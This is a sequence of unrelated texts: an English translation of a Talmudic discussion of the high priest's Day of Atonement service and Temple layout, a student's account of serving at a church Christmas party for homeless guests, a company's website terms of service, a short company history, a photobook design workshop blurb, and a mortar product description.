When Rabbin came from Palestine, he said: The girdle of the high-priest on the Day of Atonement was of byssus, according to all; during the whole year all agree it was of Kilaim (mixed of wool and linen). What they differ about is, whether a girdle of a common priest, during the whole year and on the Day of Atonement, was of Kilaim, as Rabbi says, or of byssus, as R. Eliezer b. R. Simeon says. Said R. Na'hman b. Itz'hak: We have also learned so in a Boraitha: It is written [Lev. vi. 3], "upon his flesh." Why is "put upon" necessary? This is to add, that when he removes the ashes he must have on the mitre and girdle also. Such is the decree of R. Jehudah. R. Dosa said: This is to add that the four garments of a high-priest on the Day of Atonement may be worn by a common priest. Said Rabbi: There are two objections to this. The first objection is, the girdle of a high-priest on the Day of Atonement is not the same as that of a common priest; and, secondly, how can it be said that the garments employed for a more important (?) holiness, may be used later for any less important. What else is
the phrase "put upon" to add? That he may use his old garments (and needs not new ones). R. Dosa, who prohibits old garments, except to common priests, decrees according to his theory in the following Boraitha: It is written [Lev. xvi. 23], "And he shall leave them there"; that signifies they must be hidden. R. Dosa, however, said: He may not use them himself the next year (on the Day of Atonement, but a common priest can use them).
The rabbis taught: When the high-priest happened to become unfit for service, and his substitute performed it, then after the Day of Atonement the high-priest resumes his service, and all the laws regarding the high-priesthood apply to the substitute (he can no longer be like a common priest). Such is the decree of R. Meir. R. Jose, however, says: The high-priest resumes his service, the substitute does not become like a high-priest, nor continues to be as a common priest. And R. Jose added: It happened to Joseph b. Alem of Ziporeth, that he was a substitute for the high-priest, who performed the service instead of the high-priest, to whom an accident had happened. Later the sages said, the high-priest should resume his service, and that Joseph b. Alem is fit no longer to be either a high-priest or a common priest. A high-priest, to prevent enmity; and a common priest, because there is a rule, in holiness one may increase but not decrease. Said Rabba bar bar Hana in the name of R. Johanan: The Halakha prevails according to R. Jose. R. Jose grants, that if the substitute has performed service in the Temple, this service is valid.
R. Jehudah said in the name of Rabh also: The Halakha prevails according to R. Jose, and R. Jose grants that when it happens the high-priest dies, he may become high-priest. This is self-evident? One might say, since he was his rival in life, he might not become a high-priest after his death. He comes to teach us it is not so.
"R. Jehudah says, another wife," etc. The sages apprehend lest an accident happen to the high-priest himself, and prepare a substitute. Why not prepare another wife also? The rabbis can answer: An accident of defilement can happen, but death (which is rare) is not apprehended.
"There will be no end," etc. The sages have given a good answer to R. Jehudah? R. Jehudah. can reply: That one may die, is apprehended; that both should die, is not.
The rabbis taught: The high-priest may sacrifice when he is
an Onen (one of his relatives had died, and not been interred yet), but he may not eat (of the sacrifices). R. Jehudah says, the whole day. What is meant? Said Rabh: If he is in his home, he must be brought to the Temple to perform the service. Said Abayi to him: How canst thou say this? We know that, according to R. Jehudah, he is told to stop, even when he is performing the service, as we have learned in the following Boraitha: "When he stands sacrificing on the altar," and it is reported to him that one of his relatives is dead, he must interrupt the service, and go. So is the decree of R. Jehudah. R. Jose says: He must conclude the service, and then go. And thou sayest he is brought from his home. Therefore says Rahha: What is meant by "the whole day"? The whole day he is not obliged to perform the service, when he is an Onen lest he eat of the sacrifices (but in the evening he may). Said R. Adda b. Ahba to Rabha: Does R. Jehudah take such a precautionary measure against his eating? Did we not learn in our Mishna, R. Jehudah said, another wife was prepared for him, lest his own wife die? If his wife die, he is expected to perform the service, and R. Jehudah does not take the precautionary measure lest he partake of the sacrifice? Rabha answered: What comparison is this? This is the Day of Atonement, when nobody eats; it is not feared that he shall eat. But on a common day it is apprehended.
MISHNA: During all the seven days he sprinkles the blood [of the daily offerings, to become practised], fumes the incense, trims the lamps, and offers the head and the leg. During all the other days, he sacrifices, if he chooses, since the high-priest offers the first portion as he prefers, and takes for his own use a portion of the first offering.
GEMARA: Who is the Tana who holds so? Said R. Hisda: That is not in accordance with R. Aqiba. For R. Aqiba holds that when a clean man is sprinkled upon, he thereby becomes defiled. And since the high-priest was sprinkled upon all the seven days, how could he perform the service? As we have learned in the following Boraitha: It is written [Num. xix. 19]: "And the clean person shall sprinkle upon the unclean." Infer from this (since unclean is written, not him), that only an unclean person becomes clean; but if a clean person is sprinkled on, he becomes unclean. So is the decree of R. Aqiba. But the sages said: This only applies to things subject to defilement. Abayi, however, said: It may be said, the
Mishna can be even in accordance with R. Aqiba; and the case is, the whole day he can perform the service, in the evening he bathes, and when the sun has set, he becomes clean.
"Fumes the incense, and trims the lamps." From this we see that the rite of the incense is performed first, and after that, of the lamps. There is a contradiction? We have learned in Tamid, III., 6: "Who has got the privilege to clear the inner altar of the ashes, to trim the lamps and offer the incense" (hence we see, the lamps precede the incense). Said R. Johanan: The Tana who has taught the order of the rites on the Day of Atonement is R. Simeon, the man of Mitzpah, who differed from the sages of the Mishna in Tract Tamid.
And there is a contradiction even in this tract in the order of the rites, as we learn in a Mishna farther on. The second lot is to determine who should slaughter, who should sprinkle, who should clear the inner altar, who shall trim the lamps, and who shall carry up the members on the staircase. The third lot is drawn by nine priests, to determine who should offer the incense. (Hence the lamps here precede the incense also.) Said Abayi: It presents no difficulty. In the one case the two lamps are meant, in the other case the five lamps. (Shall we assume that between the trimming of the two lamps and the five lamps incense was offered?) Did not Abayi, who ordered the rites according to a tradition, say that between the trimming of the two and five lamps the blood of the daily sacrifice was sprinkled? We can say, it presents no difficulty. This is according to R. Abbu Saul, and according to the sages of the following Boraitha: One shall not trim the lamps, and then offer the incense; but he must first offer the incense, and then trim the lamps. Abbu Saul, however, said: He must first trim the lamps, and then offer the incense. What is the reason of Abbu Saul's decree? It is written [Ex. xxx. 7]: "Every morning, when he dresseth the lamps," (and later) "shall he burn it." What will the sages say to this? The sages say, at the same time both should be done, not that the lamps should be before the incense. For if you should not say so, how will the next verse be explained: "And when Aaron lighteth the lamps toward evening, shall he burn it" [ibid. 8]? He should first light, and then offer the incense later? And if you would say that so it is, did we not learn in a Boraitha, it is written, "from the evening to the morning" [Ex. xxvii. 21]? There is no service which is valid from the evening till the morning except this. (Hence we see
the lamps were the last.) (We must therefore say that) the Torah means, that at the same time the lamps are lighted, the incense is to be offered. So also is it with the cleaning of the lamps; when they are cleaned, the morning incense is offered. R. Papa said: The self-contradiction of this tract presents no difficulty, because one decree is according to the rabbis, and one according to Abbu Saul. What did R. Papa mean to say: He wants to ascribe our Mishna to the rabbis, and that speaking of the lots to Abbu Saul. Let us see how the end of that Mishna in Chap. III., namely, "went in to fume the morning incense, and to trim the lamps," will correspond. This is certainly according to the rabbis. Then the first part and the conclusion of the Mishna will be according to the rabbis, and the middle part according to Abbu Saul? R. Papa can say, that this is the case.
In the Mishna in Tamid we have learned: When he comes to the northeastern corners of the altar, he places the blood there, and when he comes to the southwestern corners, he places the blood there. And in addition to this, we have learned in a Boraitha: "That R. Simeon, the man of Mitzpah, makes a. difference in the daily offering; namely, when he comes to the northeastern corners, he places the blood on both corners at once, but at the southwestern he first places it on the western corner, then on the southern." What is the reason of R. Simeon? Said R. Johanan in the name of one disciple of the school of R. Janai: Because it is written [Num. xxviii. 15]: "One he-goat for a sin-offering unto the Lord, besides the continual burnt-offering, shall it be prepared with its drink-offering." What is the sin-offering mentioned for, in connection with the burnt-offering? To teach us that though it is a burnt-offering, in one respect it must be sacrificed as a sin-offering; namely, at two of the four corners he places the blood on both corners at once as a burnt-offering, and at the southwestern he puts the blood on the western first, and on the southern thereafter.
We have learned in another Mishna (Tamid, III, 3): "The superintendent said to them, Go and bring a lamb from the chamber of the lambs." The chamber of the lambs was in the northwestern corner (of the house of heating. Such an apartment existed in the temple, to render the marble pavement of the temple warm, on which the priest had to walk barefooted).
There were four chambers: one that of the lambs, one that of the seals, one that of the heating house, and one chamber
where the showbread was made. There is a contradiction to the Mishna in Midoth (I., 7): "Four chambers were in the heating house, like small rooms opening into a great hall: two belonged to the sanctuary, and two were profane; and small wickets parted the sacred ones from the profane ones. And what was their use? The southwestern was for the lambs for the sacrifices. The southeastern was that in which the showbread was made. In the northeastern the Maccabees (Hasmoneans) had hidden the stones of the altar profaned by the Greeks. The northwestern was used as a passage to the bath-house." (There is, then, a contradiction between the two about the names and use of the chambers and situation of the chamber of lambs?) Said R. Huna: The Tana according to whom is the Mishna in Tract Midoth is R. Eliezer b. Jacob, as we have learned (ibid. IL, 5): The chamber at the northeast was the place where wood was kept, and the blemished priests examined the wood there, as mouldy wood was unfit for the altar. The northwestern chamber was the place of the cured lepers (who came to the Temple to be sprinkled to sacrifice). The southwestern? Says R. Eliezer b. Jacob: I forget what its use was. Abbu Saul says: Wine and oil for the offerings were kept there, and it was called the chamber of oil. Hence we see the Mishna in Midoth must be in accordance with R. Eliezer b. Jacob. And so it also seems from another Mishna in Midoth (IV.). R. Addi b. Abba said: Our Mishna is in accordance with R. Jehudah of the following Boraitha: R. Jehudah said: The altar stood in the middle of the court, and was in size thirty-two ells, ten ells opposite to the door of the Temple (wide twenty ells), eleven ells toward the north, and eleven ells to the south: so that the altar was opposite to the Temple and to its walls. Now, if you would say that the Mishna in Midoth is according to R. Jehudah, how can it be that the altar should be in the middle of the court? R. Addi the son of R. Itz'hak said: The chamber of the lambs was at the western side, and extended toward both the north and southwestern corners; and to him who came from the southern side it seemed to be the north, while to one who came from the north it seemed in the southern corner (but in reality it was in the southwestern).
"The high-priest offers the first portion," etc. The rabbis taught: What is meant by his offering a portion the first? He may say what burnt-offering or meal-offering he wants to offer (and no other priest may touch it). And what is meant by his
taking a portion the first? He may say of which sin-offering or trespass-offering he desires to partake. And he can take one of the two loaves. He can also take four or five of the loaves of the showbread. Rabbi said: He always took five loaves, because it is written [Lev. xxiv. 9]: "And it shall belong to Aaron and to his sons." We interpret it thus: Half should belong to Aaron (or the high-priest) and half to the children of Aaron (priests). Does not this Boraitha contradict itself? First it is said, he takes one of the two loaves--that means, the half--and this is according to Rabbi, who maintains that the high-priest always takes the half. Now the middle part, which says that he takes four or five, must be according to the rabbis, who say he does not take the exact half; and in the conclusion it is said, Rabbi says he always takes five. It seems, then, that the first part and conclusion are according to Rabbi, and the middle part according to the sages? Said Abayi: The first part and the middle part are according to the rabbis, but they admit that out of two loaves the high-priest could not but receive one, as it was not becoming to give him half a loaf.
MISHNA: He is attended by some elders of the Beth Din, who read to him [out of Lev. xvi.] concerning the ceremonial of the day (of Atonement), and say to him: My lord the high-priest, say it aloud, lest thou hast forgotten, or not studied this. On the morning of the day preceding the Day of Atonement, he is placed at the eastern gate, and bulls, rams, and sheep are passed before him, that he should get a knowledge of the service.
During all the seven days he is free to eat and drink, but on the eve of the Day of Atonement, at dusk, he is not permitted to eat much, as it would induce drowsiness.
GEMARA: It is right that they should say to him, Perhaps thou hast forgotten. But that they should say to him, Perhaps thou hast not studied, is an ignorant man made a high-priest? Have we not learned in a Boraitha: It is written [Lev. xxi. 10]: "And the priest that is highest of his brethren." That signifies, that he must be highest among his brethren in physical strength, in personal beauty, in wisdom, and in wealth.
An anonymous teacher said: Whence do we know that, if he is not rich, his brethren the priests must make him rich? Because it is written: "That is highest of his brethren," that signifies, his brethren must contribute to make him highest.
Said R. Joseph: It presents no difficulty. That was the case
during the time of the first Temple, and this in the time of the second Temple. As R. Assi said: A whole measure of dinars, Martha daughter of Bithas gave to the king Janai, that he should make Joshua b. Gamla high-priest.
"On the morning of the day preceding the Day of Atonement." We have learned a Boraitha: The he-goats were also passed before him. But why does not our Mishna mention it? Because (it holds that they were not passed), as the he-goats are only for the atonement of sin, he would have become dejected. If so, why were the bullocks passed, they are also for sins? Because the bulls were to atone for his sins and those of the priests, his brethren; he would not have become dispirited, because if they had sinned, he would have been told, and he would have induced them to repent. But the he-goats were to atone for the sins of all Israel: so he could not know who had sinned. Said Rabhina: This is what people say. Even if your sister's son is a (publican), you should not pass him in the street, for, since he knows your affairs, he will take from you more than from others.
"During all the seven days," etc. We have learned in a Boraitha: R. Jehudah b. Naqusa said: They gave to him to eat bread of the best flour, and eggs that it should be digested more easily (that he should not find himself compelled to interrupt his service on the Day of Atonement for a human necessity). The sages said to him: This heats yet more. We have learned in a Boraitha: Symmachos said: They gave him as food no citron, no eggs, no old wine. According to others, he received no citron, no eggs, no fat meat, no old wine. Still others say: Even white wine he did not receive, because white wine brings a man to uncleanness.
MISHNA: The Elders of the Beth Din left him to the attendance of the Elders of the priesthood, who took him up to the house of Abtinas, made him swear, took farewell, and went away. They said: My lord the high-priest, we are delegates of the Beth Din, and thou art our delegate and the delegate of the Beth Din; we conjure thee by Him who has made His abode in this house, that thou shalt not alter one thing about which we have spoken to thee. He took farewell weeping, and they parted weeping.
If he was a teacher, he lectured; otherwise, the scholars lectured before him. If he was practised in reading, he reads; if not, they read to him. From which books of the Scriptures?
[paragraph continues] From Job, Ezra, and Chronicles. Zechariah b. Kabutal says: Many times I read to him out of Daniel.
GEMARA: We have learned in a Boraitha: Teaching him the service consisted in teaching him to take a handful of incense (which had neither to be spilled nor any left on the top of the hand). R. Papa said: The high-priest had two chambers, one that of Palhedrin, to sleep in, the other that of Abtinas, to learn the service. One was in the north, one in the south. One in the north, as we have learned in Midoth (V., 3): Six chambers were in the court: three in the north, three in the south. Those of the south were the chambers of salt, of Parva, and that where the entrails were washed. The chamber of the salt was where the salt was kept for the sacrifices; that of Parva, where the skins of the sacrifices of the sanctuary were salted, and on its roof was a bath-house for the high-priest on the Day of Atonement. The washing chamber was where the entrails of the sacrifices of the sanctuary were washed. Thence a stone staircase led to the roof of the chamber of Parva. The three in the north were: a chamber for wood, the chamber of Exile, and the chamber of Gazith (hewn marble stones).
About that of wood, said R. Eliezer b. Jacob, I forget for what purpose it was used. Abbu Saul says, the chamber of the high-priest was behind the first two of the above-mentioned ones; the roofs of them all were on the same level. In the chamber of Exile there was a well, which those returned from the Exile had dug; over it was a wheel, whereby water was drawn, to supply the whole Temple. In the chamber of Gazith the Sanhedrin of Israel held session, and examined there the priests. Whatever priest was found to be legally unfit for service, used to dress himself in black clothes, enveloped himself in black, and went away. If he was found fit, he would dress himself in white, envelope himself in white, and enter the Temple to serve with his brethren. One other chamber was in the south, as we have learned in the following Mishna (Midoth V., 4): Seven gates were in the court: three at the north, three at the south, and one at the east. The south one was the Gate of Illumination, the other the Gate of the Sacrifices, the third the Gate of Water. At the east was the Gate of Nicanor; to this gate were adjoined two chambers, one at the right and one at the left. One was the chamber of Pin'has, the superintendent of the priests' wardrobe; the other was where barrels were manufactured. At the north was the Gate of Nitzutz. There was
a balcony and an attic over it, where priests were watching (the Temple) above, and the Levites beneath. Inside was the Choyl (a round walled and roofed place, in the Temple). The other was the Gate of Sacrifices. The third was the Gate of the Heating House, and we have learned in another Boraitha that on that day the high-priest took five legal bathings, and ten times sanctified his hands and feet from the laver. [See Ex. xxx. 18.] Both the bathing and the sanctifications he performed on the roof of the chamber of Parva, in the sanctuary, except the first one, which he did not take in the sanctuary, but near the Gate of Water. The bath-house was on one side of his chamber, only I don't know whether the Chamber of Palhedrin was in the north and that of Abtinas in the south, or vice versa.
"Thou art our delegate." Shall we assume that in this Mishna is found an objection to R. Huna b. R. Joshua, who said that the priests are delegates of the Merciful One (not of Beth Din)? If they were our delegates, then are there things which we ourselves may not do, and our delegates may (as in the case with the priests)? They did not say to the high-priest that he is their delegate, but that they conjured him to act according to their opinion and to that of Beth Din.
"He wept, and they wept." He wept for being suspected of being a Sadducee, and they wept because they probably suspected an innocent man, as R. Joshua b. Levi said: "He who suspects an upright man is smitten by God in his body." (See Sabbath, p. 191.) Why had he to be conjured? It was feared lest he prepare the incense on the censer outside of the Holy of Holies, and then enter with the censer, as did the Sadducees. The rabbis taught: It happened to one Sadducee, who prepared outside, and entered the Holy of Holies with it, when he came out, he was rejoicing greatly. When his father met him, he said to him: My son, though we are Sadducees, yet we must fear the Pharisees. He replied: All my years I was anxious to fulfil the verse [Lev. xvi. 2], "For in the cloud will I appear upon the mercy seat," and I said to myself, When will come the day when I might do it? And to-day, when I have had opportunity, should I not have done it? It was said, it did not take long before he died, and lay amidst rubbish, and worms crept out of his nose.
"Zechariah b. Kabutal," etc. R. Hanan b. Rabha taught to Hiya the son of Rabh in the presence of Rabh: Said R. Zechariah b. Kavutal: Rabh made to him a sign with the hand that he
should say Kabutal. Why did he not say it to him? Rabh read Sh'ma' at that time. Is it permitted to make signs when Sh'ma' is read? Did not R. Itz'hak b. Samuel b. Martha say: He who reads Sh'ma' must not wink his eyes, whistle with his lips, nor make signs with his fingers? And in a Boraitha we have also learned: R. Eliezer Hasma has said: He who reads Sh'ma', and winks, or whistles, or makes signs with his fingers, of him the verse says [Isaiah xliii. 22]: "On me hast thou not called, Jacob." It presents no difficulty; in the first part of the Sh'ma' one may not do so, but during the recital of the second one may.
MISHNA: If he began to slumber, the young priests snapped with their fingers Tzreda, addressing him: My lord the high-priest, rise, and cool thyself once on the [marble] floor. He was kept occupied until the time for slaughtering the daily offering.
GEMARA: What is meant by the word Tzreda? Said R. Jehudah, the thumb. R. Huna showed this performance, and the sound went to all ends of the college.
"Cool thyself once on the floor." Said R. Itz'hak: They said to him, show to us Kidah (supported only on his thumbs and great toes, to kiss the floor).
"Until the time for slaughtering." We have learned in a Boraitha: He was not occupied by a violin or harp, but by voices: they sang to him. What? From Psalm cxxvii.: "Unless the Lord do build a house, in vain labor they that build it." The respectable men of Jerusalem forbore to sleep the whole night, and talked among themselves, that the high-priest might hear the sound of voices, and not fall asleep. We have learned in a Boraitha: Abbu Saul says: Even in the countries where the temple was hot, they did it, in honor of the temple, but they came to sin on these occasions. Said Abayi, according to others, R. Na'hman b. Itz'hak: By what Abbu Saul said of the other countries, he meant Nahardea. Elijah said to R. Jehudah, the brother of R. Sala the Pious: You think to yourselves why Messiah does not come. To-day is the Day of Atonement, and many virgins have been lain with to-day in the City of Nahardea. Said to him R. Jehudah; What says the Holy One, blessed be He, to this? Elijah replied: He said in reference to this the verse in Genesis [iv. 7]: "Sin lieth at the door." He asked: What says Satan to this? Elijah answered: On the Day of Atonement he has no right to bring forward accusations.
MISHNA: Every day the altar is cleared of the ashes at the time of the crowing of the Geber (cock), a little while before or after it; but on the Day of Atonement it is done soon after midnight, and on the other holidays after the first watch of the night. And before the cock's crowing the fore court used to be filled with Israelites.
GEMARA: What is meant by Geber? Said Rabh, a man (Geber signifies "man" also). But the disciples of R. Shila say, a cock. It happened once, that Rabh was at the place where R. Shila was the chief of the college. R. Shila had no interpreter (as he lectured). Rabh assumed the function of his interpreter. When they came to this Mishna, "the cock's crowing," Rabh interpreted, "man's heralding." Said to him R. Shila: Let the Master say, "the cock's crowing." Rabh answered: A song good for educated men is not good for tanners. I have interpreted it thus for R. Hiya; he did not censure me, and you it does not please. Said R. Shila. Is the Master Rabh? Then, leave off. It is not fit that you should be my interpreter (sit on my chair, and I will interpret for you)? Rabh replied: The world says, If one has hired himself to a man, even if he tells him to brush wool (a work only for women) he should do it. According to others, he answered to him: In matters of holiness one increases, but does not decrease.
We have learned in one Boraitha according to Rabh, and in another according to R. Shila. We have learned according to Rabh: Gabini the Herald used to herald: Rise, priests, to your service; and Levites, to your chanting; and Israel, to your standing. 1 And his voice was heard at the distance of three parsaoth. It happened once that Agrippa the king being on the road, he heard Gabini's voice at the distance of three parsaoth. When he returned home, he sent him presents. Nevertheless, the voice of the high-priest surpassed in strength that of Gabini the Herald. Because the Master said, when he used to say on the Day of Atonement, "I pray Thee, O Lord," his voice was heard at Jericho, and Rabba bar bar Hana said in the name of R. Johanan: Between Jericho and Jerusalem is the distance of ten parsaoth, and although on the Day of Atonement one is weak from fasting, and though his voice was heard by day, whereas Gabini heralded only by night.
And we have learned in a Boraitha according to R. Shila: "He
who walks on the road before the "Kriath Hageber" (cock's crowing), his blood is on his head. R. Joshiah says: Before the second cock's crowing. And according to others, before he crows the third time. Of what sort of cock is this said? Of a moderate cock (not a hasty or tardy one). R. Jehudah in the name of Rabh said: "When Israel used to come on the three pilgrimages, they stood crowded. But when they prostrated themselves, they had much space, and stationed themselves eleven ells behind the mercy-seat." What does he mean? Although they were eleven ells behind the mercy-seat, and were crowded, yet when they prostrated themselves they had much room, and this was one of the ten miracles that occurred in the Temple. (See Aboth, V., 2.)
Were there only ten miracles? Did not R. Ushia say that when Solomon built the Temple, he planted there all kinds of golden fruit-trees, and they bore fruits at the proper times, and when the wind blew on them, they fell down and were ripe? As it is written in Psalm lxxii. 16: "Its fruits shall shake like the trees of Lebanon." And when the Gentiles had entered the Temple, the fruit-trees became withered (blighted), as it is writ. ten [Nahum i. 4]: "The flowers of Lebanon wither," and the Holy One, blessed be He, will restore them. As it is written [Is. xxxi. 2]: "It shall blossom abundantly and rejoice; yea, with joy and singing, the glory of the Lebanon shall be given unto it." (So we see there were miracles besides the ten?) In the Mishna are counted only the perpetual miracles, but those happening on certain times only have not been reckoned.
The Master says elsewhere that in Jerusalem were two perpetual miracles: the rain never extinguished the fire on the outer altar, and the smoke was always straight in spite of the winds, in whichever directions they might blow. But we have learned in a Boraitha: Five things have been said of the fire on the altar: It had the form of a lion, it was clear as the sun, it was palpable, it consumed moist things as dry ones, and never emitted any smoke. (There is, then, a contradiction, since there was no smoke at all?) The smoke was that of the fire kindled by men. As we have learned in a Boraitha: It is written [Lev. i. 7]: "And the sons of Aaron the priest shall put fire upon the altar." Infer from this, that although the fire descended from heaven, it was a merit to kindle an earthly fire also. (There is another contradiction?) You say it had the form of a lion. We have learned in a Boraitha, R. Hanina the Segan of
the priests said. I have seen it, and it had the form of a dog? It presents no difficulty: in the time of the first Temple it was like a lion, and of the second, like a dog.
But in the second Temple there was no heavenly fire at all, as R. Samuel b. Inia said: It is written [Haggai i. 8]: "That I may take pleasure in it, and be glorified"; it is written "Veikabed," and it is read "Veikabdah." Why is the "h" missing? This is to hint that five (the numeral value of "h") things were missing in the second Temple. What are they? The ark, the mercy-seat, the cherubim, the heavenly fire, the Shekhina, the Holy Spirit, and the Urim and Tumim. So we see there was no heavenly fire in the second Temple at all? We may say, it was there, only it did not assist in consuming.
It is said above, that no wind could divert the smoke. But this is not so? Did not R. Itz'hak b. Abdimi say: At the expiration of the Feast of Tabernacles, all looked on the smoke of the altar: when it was inclined to the north, the poor rejoiced, and the wealthier were dejected, for it showed there would be too much rain, and the fruit would rot: but when it was inclined to the south, the poor were out of spirits, and the rich were glad, for this was a sign there would be little rain, and the fruit would remain well-preserved, and fetch a high price. When it was bent eastward, all rejoiced, and westward, all were deploring it (thus we see that the smoke was swayed by the wind?). It was made by the wind oblique, but not crooked.
1:1 Some translators say [Numbers xix. 2] "red heifer"; but this would not be proper, according to the teaching of the Mishna that the red cow must not be younger than three years and is fit even from four to five years, for which the term heifer cannot be correctly used.
2:1 See Lev. viii, 33.
9:1 The Day of Atonement always occurs on the tenth day of the month Tishri.
10:1 In the Palestinian Talmud it is said: Because they loved money, and hated each other without grounds.
13:1 See Deut. vi. 9.
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As a Caritas student, on an early 10 am December Sunday, I gave up my time to help with a Christmas party at St. John’s Church. This Christmas party wasn’t a typical one as it was organised for the homeless in our community. At this point, I hadn’t really put much thought into the Christmas party and didn’t know what to expect.
Around 15 other Caritas students and I arrived at St. John’s before the guests. We were put to work quite quickly – we spent quite some time sorting a huge bundle of clothes into piles of male and female. We then put the clothes in bags with other essentials such as toothpaste and deodorant. This wasn’t really the job I thought I would have been doing but we all worked as a team to have everything sorted in time.
5 other Caritas students and I then had the job of serving the food to everyone that had arrived. For the starter, we had given out bowls of soup. When I went from table to table, I noticed that there were always one or two people at each table who would pass their soup over to someone else. I realised that they were making sure that everyone else had theirs before they did. This was quite amazing to me despite it being such a small act of kindness. It just shows the selfishness of people who essentially have nothing to give. On top of that, I don’t think I’ve heard so many ‘thank you’s in such a short period of time. It was clear how grateful those in attendance were. Next, we served the main, then the desert; by the end of it, there was hardly anything left of it all.
We then had a karaoke and so many joined in, both the guests and Caritas students. Personally, I believe it was great for them to have had a social gathering. I’m sure many of them will tend to feel lonely, especially during the festive seasons. I noticed how much their days were brightened up and realised how much some homeless people would appreciate even a smile and a conversation if we were to see them on the streets. We then distributed all the bags of clothes and utilities we had made up earlier on in the day. I couldn’t help but think that their reactions were comparable to those of a 5-year-old on Christmas morning – a sight that broke my heart and mended it straight afterward.
With it being such a busy day, it was only when I was home and tucking into a Sunday roast that I began to reflect on the hours just passed. I tried to put myself in their position and attempted to comprehend the daily struggles they may face every day. I found it unbelievably impossible! However, I do know that on that day, along with many other great people, I helped make the day of some of the most vulnerable people in our society. And the price I paid? A few hours out of what would have been a day full of procrastination – nothing. Yet, I got back so much and I’m sure the other students who went would definitely agree. The people I was surrounded with that day were like you and me; the awful truth is that homelessness could happen to any of us. So, why wait to start caring when it’s you? Some of these people rely heavily on the community they’re in and have nobody else. Our school already does so much to help the homeless community out. We donate to foodbanks yet we never realize the impact this truly has. I’m so grateful to have been able to see the changes we can make.
I think it’s amazing that St. John’s Church in Stevenson organises this and I know everybody appreciated it. I encourage everyone to be more of an active role in their community and to help people who need it. You might not get anything materialistic from volunteering, but you gain so much insight and an appreciation for what you have and take for granted. Not to mention how much of a difference you’d be making in someone else’s life.
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Terms of Service
Article 1 (Purpose)
The purpose of these Terms is to define the basic items regarding the conditions and procedures of using all services (hereinafter “service”) provided by Samyang Innochem (hereinafter “Company”) on its website (www.samyanginnochem.com). The user refers to the person who receives the service provided on the website in accordance with these Terms.
Article 2 (Effectiveness and Revision of Terms)
- These Terms become effective once they are notified to the user through the service or methods such as email.
- The Company may change the contents of these Terms, which become effective through the same method defined in Article 2.1 herein.
Article 3 (Other Regulations)
Items that are not mentioned in these Terms may follow the Framework Act on Telecommunications, Telecommunications Business Act and other relevant laws and regulations.
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Article 4 (Obligations of Company)
- The Company has the obligation to provide continuous and stable service in accordance with the provisions of these Terms.
The Company shall not disclose or distribute the personal information of the user to another party without the consent of the user, and shall not use the personal information for commercial purposes other than the service-related activities. However, the following cases are an exception.
- It is required by a national institute in accordance with the relevant laws, such as the Framework Act on Telecommunications and Telecommunications Business Act.
- It is required to record statistics or conduct market research, and the personal information is provided in a format that does not allow the identification of specific individuals.
- The user information is partially shared with business partners and affiliated partners that the Company is collaborating with or supporting to provide better service.
- The Company may provide various information that is deemed as necessary for the user to use the service through text message, email or mail after the user completes a certain service application process.
Article 5 (Obligations of User)
- The user is responsible for the results of management and misuse of the user information that they provide when applying for the use of service.
- If user's personal information is misused or if other security violation has been committed, the user must notify the Company.
- The user shall comply with the relevant laws, the provisions of these Terms, and the service use guideline and precautions.
- The user may not carry out any profit-making activities using the service without prior consent by the Company.
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These Terms apply to all services provided the company in general. Auxiliary terms may be added for services that require additional articles.
Article 7 (Provision of Information)
The Company may provide various information that is considered necessary for the user to use the service through methods such as email or mail after the user completes a certain service application process. If the user does not wish to receive information, they may call the Company and refuse to receive the information.
Article 8 (Transactions with Advertisers)
The Company is not responsible for any loss or damage resulting from the user's participation in the promotion activities of the advertiser on this website or promotion activities carried out through this service.
Article 9 (Contents Posted by User)
The Company does not hold any civil or criminal liability for the contents that are posted, published or sent by email or other media by the user. Contents may be deleted without prior notice in the following cases.
- Contents slander other users or other people, infringe on the privacy others, or damage the reputation of others by making false statements.
- Contents will or may hinder the stable operation of the service.
- Contents are deemed as being related to criminal activity.
- Contents infringe on the intellectual property of the Company or other people or violate other rights.
- Contents are deemed as violating relevant laws.
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- The copyright of all contents (including images) on this website belongs to the Company, unless there is a separate expression of intention specified between the parties in advance.
- The contents of the website shall be protected by the Company. A third party using or referring to the content on another website without the permission of the Company is prohibited and any violation may be subject to legal action.
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Unless there is a business process or technical error, or any other special reason, the Company provides the service 24 hours a day all year long. However, if the service becomes unavailable due to activities needed by the Company, such as regular inspection, system error, dramatic increase in use of service, suspension of telecommunication services by the key telecommunications operator in accordance with the Telecommunications Business Act, or force majeure, such as natural disaster, the Company may limit the use of the service entirely or partially.
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The user may not carry out business activities to sell illegal products using the service, and especially may not engage in hacking, advertisement to gain profit, commercial activities on pornographic websites, illegal distribution of commercial software, etc. The Company will not be responsible for the results and damages caused by the business activities carried out in violation of these Terms, or for legal actions, such as imprisonment, taken by the relevant authorities.
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The company will not be responsible for any loss incurred to the user related to the use of service.
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Today Sandhills Development is a small organization that focuses on conservation and restoration of green spaces and native habitats, but we didn’t start that way.
At our beginning, Sandhills Development was a college dorm-room hobby for Pippin Williamson. By building small websites for anyone that would hire him, Pippin discovered a passion for web programming that led him into the freedoms and challenges of self-employment. Through custom website creation for clients big and small, Pippin then found his way into product creation by developing solutions that could be reused across many sites.
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The 20th century presented innovative ways to publish photobooks that feature darkroom photography and images reproduced from negatives. But the rise—and perseverance—of digital photography in the 21st century meant that new principles were needed. The result? Photobooks produced not by photographers but by designers. Trails were blazed and new standards set by innovative book designers such as Hans Gremmen, Ania Nałęcka-Milach, and SYB, among many others.
In this workshop Christopher Johnson discusses why, exactly, design is all-important—and why it’s crucial, when creating your own photobook, to work with a dextrous designer possessing knowledge specific to the field. He discusses a handful of award-winning books, investigating the qualities that make them timeless, not only in discourse specific to photobooks but in that of literature as a whole.
Are good images enough? Does text add to or distract from a photobook? Why are fonts important? How does a successful book flow? In answering these questions, Christopher leads participants through crucial design principles, some age-old, some unique to our time. Finally, drawing on his vast experience with reflexive dialogue, he concludes the workshop with a Q&A.
In a world populated by an ever-increasing number of publications, it’s design that makes a photobook truly stand out. Join Christopher and discover the principles needed to achieve exactly that.
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Trass VDM Bedding mortar is a high-quality, pre-mixed, cement-based mortar that contains volcanic ash known as “Trass.” Trass is a natural pozzolan formed by the volcanic ash of Mount Vesuvius. Trass has been used for centuries in construction due to its exceptional properties, including high water resistance and strength.
Benefits of Trass VDM 480 Mortar Bedding
Being permeable means that water will flow through the compound. This is especially important to have in freezing and thawing climates. This keeps the stones dry while reducing water runoff from rain or irrigation systems, which allows water to drain into the ground. This water soaks into the earth, recharging our groundwater and slowing erosion.
Frost and de-icing salt resistant
This Bedding System is frost and de-icing salt resistant, due to its permeable nature. Water and other solvents will flow through it making it cleaner and allowing the stones to stay dry and worry-free.
Can be grouted 24 hours after installation
